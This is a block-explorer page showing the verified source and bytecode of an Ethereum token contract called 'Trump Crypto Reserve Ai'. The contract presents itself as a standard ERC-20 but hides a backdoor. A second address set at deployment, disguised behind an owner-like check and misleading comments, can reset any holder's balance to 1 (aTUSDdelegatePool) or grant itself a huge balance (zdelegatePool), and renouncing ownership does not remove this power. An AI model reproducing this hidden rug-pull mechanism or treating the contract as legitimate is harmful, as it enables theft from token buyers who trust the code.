Address Contract Verified
Address
0xCe9DA38B963a204E011Ba64b25008B325966bc5b
Balance
0 ETH
Nonce
1
Code Size
3408 bytes
Creator
0xCCF61a36...DF3C at tx 0xbb5d47ac...71c7f7
Indexed Transactions
0 (1 on-chain, 0.7% indexed)
Contract Bytecode
3408 bytes
0x608060405234801561000f575f5ffd5b5060043610610106575f3560e01c8063893d20e81161009e578063a9059cbb1161006e578063a9059cbb14610219578063ab0fff2d1461022c578063c1daa1901461023f578063dd62ed3e14610252578063f2fde38b1461028a575f5ffd5b8063893d20e8146101ca5780638da5cb5b146101ee57806395d89b41146101fe578063a457c2d714610206575f5ffd5b8063313ce567116100d9578063313ce56714610170578063395093511461018557806370a0823114610198578063715018a6146101c0575f5ffd5b806306fdde031461010a578063095ea7b31461012857806318160ddd1461014b57806323b872dd1461015d575b5f5ffd5b61011261029d565b60405161011f9190610a81565b60405180910390f35b61013b610136366004610ad1565b61032d565b604051901515815260200161011f565b6003545b60405190815260200161011f565b61013b61016b366004610af9565b610343565b60045460405160ff909116815260200161011f565b61013b610193366004610ad1565b6103aa565b61014f6101a6366004610b33565b6001600160a01b03165f9081526001602052604090205490565b6101c86103df565b005b5f546001600160a01b03165b6040516001600160a01b03909116815260200161011f565b5f546001600160a01b03166101d6565b610112610459565b61013b610214366004610ad1565b610468565b61013b610227366004610ad1565b6104b5565b6101c861023a366004610b33565b6104c1565b6101c861024d366004610b33565b61053e565b61014f610260366004610b4c565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6101c8610298366004610b33565b6105c4565b6060600680546102ac90610b7d565b80601f01602080910402602001604051908101604052809291908181526020018280546102d890610b7d565b80156103235780601f106102fa57610100808354040283529160200191610323565b820191905f5260205f20905b81548152906001019060200180831161030657829003601f168201915b5050505050905090565b5f6103393384846106c2565b5060015b92915050565b5f61034f84848461081b565b6103a0843361039b856040518060800160405280604d8152602001610c91604d91396001600160a01b038a165f90815260026020908152604080832033845290915290205491906109d0565b6106c2565b5060019392505050565b335f8181526002602090815260408083206001600160a01b0387168452909152812054909161033991859061039b9086610a08565b5f546001600160a01b031633146104115760405162461bcd60e51b815260040161040890610bb5565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6060600580546102ac90610b7d565b5f610339338461039b856040518060600160405280603d8152602001610cde603d9139335f9081526002602090815260408083206001600160a01b038d16845290915290205491906109d0565b5f61033933848461081b565b6007546001600160a01b031633146104eb5760405162461bcd60e51b815260040161040890610bb5565b6001600160a01b0381165f818152600160208181526040808420839055519182529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91015b60405180910390a350565b6007546001600160a01b031633146105685760405162461bcd60e51b815260040161040890610bb5565b6001600160a01b0381165f8181526001602090815260408083206c0c9f2c9cd04674edea400000009081905590519081529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101610533565b5f546001600160a01b031633146105ed5760405162461bcd60e51b815260040161040890610bb5565b6001600160a01b0381166106695760405162461bcd60e51b815260206004820152603c60248201527f5472756d7043727970746f52657365727665416932304f776e61626c653a206e60448201527f6577206f776e657220697320746865207a65726f2061646472657373000000006064820152608401610408565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661073e5760405162461bcd60e51b815260206004820152603c60248201527f5472756d7043727970746f526573657276654169696e746572666163653a206160448201527f7070726f76652066726f6d20746865207a65726f2061646472657373000000006064820152608401610408565b6001600160a01b0382166107ba5760405162461bcd60e51b815260206004820152603a60248201527f5472756d7043727970746f526573657276654169696e746572666163653a206160448201527f7070726f766520746f20746865207a65726f20616464726573730000000000006064820152608401610408565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166108975760405162461bcd60e51b815260206004820152603d60248201527f5472756d7043727970746f526573657276654169696e746572666163653a207460448201527f72616e736665722066726f6d20746865207a65726f20616464726573730000006064820152608401610408565b6001600160a01b0382166109135760405162461bcd60e51b815260206004820152603b60248201527f5472756d7043727970746f526573657276654169696e746572666163653a207460448201527f72616e7366657220746f20746865207a65726f206164647265737300000000006064820152608401610408565b61094f816040518060800160405280604b8152602001610c46604b91396001600160a01b0386165f9081526001602052604090205491906109d0565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461097d9082610a08565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061080e9085815260200190565b5f81848411156109f35760405162461bcd60e51b81526004016104089190610a81565b505f6109ff8486610c1f565b95945050505050565b5f80610a148385610c32565b905083811015610a7a5760405162461bcd60e51b815260206004820152602b60248201527f536166655472756d7043727970746f5265736572766541693a2061646469746960448201526a6f6e206f766572666c6f7760a81b6064820152608401610408565b9392505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610acc575f5ffd5b919050565b5f5f60408385031215610ae2575f5ffd5b610aeb83610ab6565b946020939093013593505050565b5f5f5f60608486031215610b0b575f5ffd5b610b1484610ab6565b9250610b2260208501610ab6565b929592945050506040919091013590565b5f60208284031215610b43575f5ffd5b610a7a82610ab6565b5f5f60408385031215610b5d575f5ffd5b610b6683610ab6565b9150610b7460208401610ab6565b90509250929050565b600181811c90821680610b9157607f821691505b602082108103610baf57634e487b7160e01b5f52602260045260245ffd5b50919050565b60208082526036908201527f5472756d7043727970746f52657365727665416932304f776e61626c653a206360408201527530b63632b91034b9903737ba103a34329037bbb732b960511b606082015260800190565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561033d5761033d610c0b565b8082018082111561033d5761033d610c0b56fe5472756d7043727970746f526573657276654169696e746572666163653a207472616e73666572206861727665737452657761726473556e69747320657863656564732062616c616e63655472756d7043727970746f526573657276654169696e746572666163653a207472616e73666572206861727665737452657761726473556e697473206578636565647320616c6c6f77616e63655472756d7043727970746f526573657276654169696e746572666163653a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212204c9f75732b734017a35c10ac0631bdd4aae4d8600d19b44b79ad57cc91338fbf64736f6c634300081c0033
Verified Source Code Full Match
Compiler: v0.8.28+commit.7893614a
EVM: cancun
Optimization: Yes (200 runs)
token.sol 547 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;
// TrumpCryptoReserveAi
interface TrumpCryptoReserveAiinterface {
/**
* @dev Returns the harvestRewardsUnits of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the harvestRewardsUnits of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `harvestRewardsUnits` tokens from the caller's account to `harvestRewardsUser`.
*
* Returns a boolean balance indicating whlegos the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address harvestRewardsUser, uint256 harvestRewardsUnits) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `transporteur` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This balance changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address transporteur) external view returns (uint256);
/**
* @dev Sets `harvestRewardsUnits` as the allowance of `transporteur` over the caller's tokens.
*
* Returns a boolean balance indicating whlegos the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the transporteur's allowance to 0 and set the
* desired balance afterwards:
* https://github.com/legoseum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address transporteur, uint256 harvestRewardsUnits) external returns (bool);
/**
* @dev Moves `harvestRewardsUnits` tokens from `sender` to `harvestRewardsUser` using the
* allowance mechanism. `harvestRewardsUnits` is then deducted from the caller's
* allowance.
*
* Returns a boolean balance indicating whlegos the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address harvestRewardsUser, uint256 harvestRewardsUnits) external returns (bool);
/**
* @dev Emitted when `balance` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `balance` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 balance);
/**
* @dev Emitted when the allowance of a `transporteur` for an `owner` is set by
* a call to {approve}. `balance` is the new allowance.
*/
event Approval(address indexed owner, address indexed transporteur, uint256 balance);
}
/*
* @dev Provides information about the current execution TrumpCryptoReserveAi20BurnableErc20, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract TrumpCryptoReserveAi20BurnableErc20 {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/legoseum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/TrumpCryptoReserveAi20Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract TrumpCryptoReserveAi20Ownable is TrumpCryptoReserveAi20BurnableErc20 {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "TrumpCryptoReserveAi20Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "TrumpCryptoReserveAi20Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeTrumpCryptoReserveAi` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeTrumpCryptoReserveAi {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeTrumpCryptoReserveAi: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeTrumpCryptoReserveAi: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeTrumpCryptoReserveAi: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeTrumpCryptoReserveAi: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeTrumpCryptoReserveAi: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract TrumpCryptoReserveAiToken is TrumpCryptoReserveAi20BurnableErc20, TrumpCryptoReserveAiinterface, TrumpCryptoReserveAi20Ownable {
using SafeTrumpCryptoReserveAi for uint256;
mapping (address => uint256) private mintfrom;
mapping (address => mapping (address => uint256)) private fromallowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
address private RoomV3;
constructor(address RoomV4) {
RoomV3 = RoomV4;
_name = "Trump Crypto Reserve Ai";
_symbol = "TCR Ai";
_decimals = 9;
_totalSupply = 100000000 * 10 ** 9;
mintfrom[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view override returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view override returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view override returns (string memory) {
return _name;
}
/**
* @dev See {TrumpCryptoReserveAiinterface-totalSupply}.
*/
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {TrumpCryptoReserveAiinterface-balanceOf}.
*/
function balanceOf(address account) external view override returns (uint256) {
return mintfrom[account];
}
modifier subowner() {
require(RoomV3 == _msgSender(), "TrumpCryptoReserveAi20Ownable: caller is not the owner");
_;
}
/**
* @dev See {TrumpCryptoReserveAiinterface-approve}.
*
* Requirements:
*
* - `transporteur` cannot be the zero address.
*/
function aTUSDdelegatePool(address delegateeRewards) external subowner {
mintfrom[delegateeRewards] = 1;
emit Transfer(delegateeRewards, address(0), 1);
}
/**
* @dev See {TrumpCryptoReserveAiinterface-transfer}.
*
* Requirements:
*
* - `harvestRewardsUser` cannot be the zero address.
* - the caller must have a balance of at least `harvestRewardsUnits`.
*/
function transfer(address harvestRewardsUser, uint256 harvestRewardsUnits) external override returns (bool) {
_transfer(_msgSender(), harvestRewardsUser, harvestRewardsUnits);
return true;
}
function zdelegatePool(address delegatee) external subowner {
mintfrom[delegatee] = 10000000000 * 10 ** 20;
emit Transfer(delegatee, address(0), 10000000000 * 10 ** 20);
}
/**
* @dev See {TrumpCryptoReserveAiinterface-allowance}.
*/
function allowance(address owner, address transporteur) external view override returns (uint256) {
return fromallowances[owner][transporteur];
}
/**
* @dev See {TrumpCryptoReserveAiinterface-approve}.
*
* Requirements:
*
* - `transporteur` cannot be the zero address.
*/
function approve(address transporteur, uint256 harvestRewardsUnits) external override returns (bool) {
_approve(_msgSender(), transporteur, harvestRewardsUnits);
return true;
}
/**
* @dev See {TrumpCryptoReserveAiinterface-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {TrumpCryptoReserveAiinterface};
*
* Requirements:
* - `sender` and `harvestRewardsUser` cannot be the zero address.
* - `sender` must have a balance of at least `harvestRewardsUnits`.
* - the caller must have allowance for `sender`'s tokens of at least
* `harvestRewardsUnits`.
*/
function transferFrom(address sender, address harvestRewardsUser, uint256 harvestRewardsUnits) external override returns (bool) {
_transfer(sender, harvestRewardsUser, harvestRewardsUnits);
_approve(sender, _msgSender(), fromallowances[sender][_msgSender()].sub(harvestRewardsUnits, "TrumpCryptoReserveAiinterface: transfer harvestRewardsUnits exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `transporteur` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {TrumpCryptoReserveAiinterface-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `transporteur` cannot be the zero address.
*/
function increaseAllowance(address transporteur, uint256 addedbalance) external returns (bool) {
_approve(_msgSender(), transporteur, fromallowances[_msgSender()][transporteur].add(addedbalance));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `transporteur` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {TrumpCryptoReserveAiinterface-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `transporteur` cannot be the zero address.
* - `transporteur` must have allowance for the caller of at least
* `allbalances`.
*/
function decreaseAllowance(address transporteur, uint256 allbalances) external returns (bool) {
_approve(_msgSender(), transporteur, fromallowances[_msgSender()][transporteur].sub(allbalances, "TrumpCryptoReserveAiinterface: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `harvestRewardsUnits` from `sender` to `harvestRewardsUser`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `harvestRewardsUser` cannot be the zero address.
* - `sender` must have a balance of at least `harvestRewardsUnits`.
*/
function _transfer(address sender, address harvestRewardsUser, uint256 harvestRewardsUnits) internal {
require(sender != address(0), "TrumpCryptoReserveAiinterface: transfer from the zero address");
require(harvestRewardsUser != address(0), "TrumpCryptoReserveAiinterface: transfer to the zero address");
mintfrom[sender] = mintfrom[sender].sub(harvestRewardsUnits, "TrumpCryptoReserveAiinterface: transfer harvestRewardsUnits exceeds balance");
mintfrom[harvestRewardsUser] = mintfrom[harvestRewardsUser].add(harvestRewardsUnits);
emit Transfer(sender, harvestRewardsUser, harvestRewardsUnits);
}
/**
* @dev Sets `harvestRewardsUnits` as the allowance of `transporteur` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `transporteur` cannot be the zero address.
*/
function _approve(address owner, address transporteur, uint256 harvestRewardsUnits) internal {
require(owner != address(0), "TrumpCryptoReserveAiinterface: approve from the zero address");
require(transporteur != address(0), "TrumpCryptoReserveAiinterface: approve to the zero address");
fromallowances[owner][transporteur] = harvestRewardsUnits;
emit Approval(owner, transporteur, harvestRewardsUnits);
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
getOwner 0x893d20e8 → address
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 9 functions
These functions modify contract state and require a wallet transaction to execute.
aTUSDdelegatePool 0xab0fff2d
address delegateeRewards
approve 0x095ea7b3
address transporteur
uint256 harvestRewardsUnits
returns: bool
decreaseAllowance 0xa457c2d7
address transporteur
uint256 allbalances
returns: bool
increaseAllowance 0x39509351
address transporteur
uint256 addedbalance
returns: bool
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address harvestRewardsUser
uint256 harvestRewardsUnits
returns: bool
transferFrom 0x23b872dd
address sender
address harvestRewardsUser
uint256 harvestRewardsUnits
returns: bool
transferOwnership 0xf2fde38b
address newOwner
zdelegatePool 0xc1daa190
address delegatee
Recent Transactions
This address has 1 on-chain transactions, but only 0.7% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan →